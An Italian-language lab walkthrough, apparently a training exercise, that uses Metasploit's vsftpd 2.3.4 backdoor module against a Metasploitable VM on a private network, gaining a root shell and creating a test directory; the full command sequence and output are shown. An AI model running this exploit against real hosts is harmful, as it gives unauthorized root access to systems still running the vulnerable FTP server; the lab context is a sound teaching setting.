

Creazione cartella su macchina Metasploitable utilizzando msfconsole

Identifico la macchina con `sudo arp-scan -l` ed avvio il servizio con `msfconsole`

```
(kali@vbox)-[~]
$ sudo arp-scan -l
[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: 08:00:27:5d:d8:b8, IPv4: 192.168.50.100
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.50.101 08:00:27:f4:97:41 (Unknown)

1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.927 seconds (132.85 hosts/sec). 1 responded

(kali@vbox)-[~]
$ msfconsole
Metasploit tip: View missing module options with show missing
```

Cerco la vulnerabilità con `search vsftpd`, la identifico e la seleziono con `use 1`

```
msf6 > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

```
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using
RPORT	21	yes	The target port (TCP)

Imposto l'IP della macchina vittima su RHOSTS e faccio partire l'exploit con **run**

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/interact	.	normal	No	Unix Command, Interact with Established Connection

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.50.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[+] 192.168.50.101:21 - Backdoor service has been spawned, handling ...
[+] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:36585 -> 192.168.50.101:6200) at 2024-12-16 14:39:42 +0100
```

Una volta all'interno della macchina, creo la directory utilizzando **mkdir /test_metasploit**

```
mkdir /test_metasploit
```

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```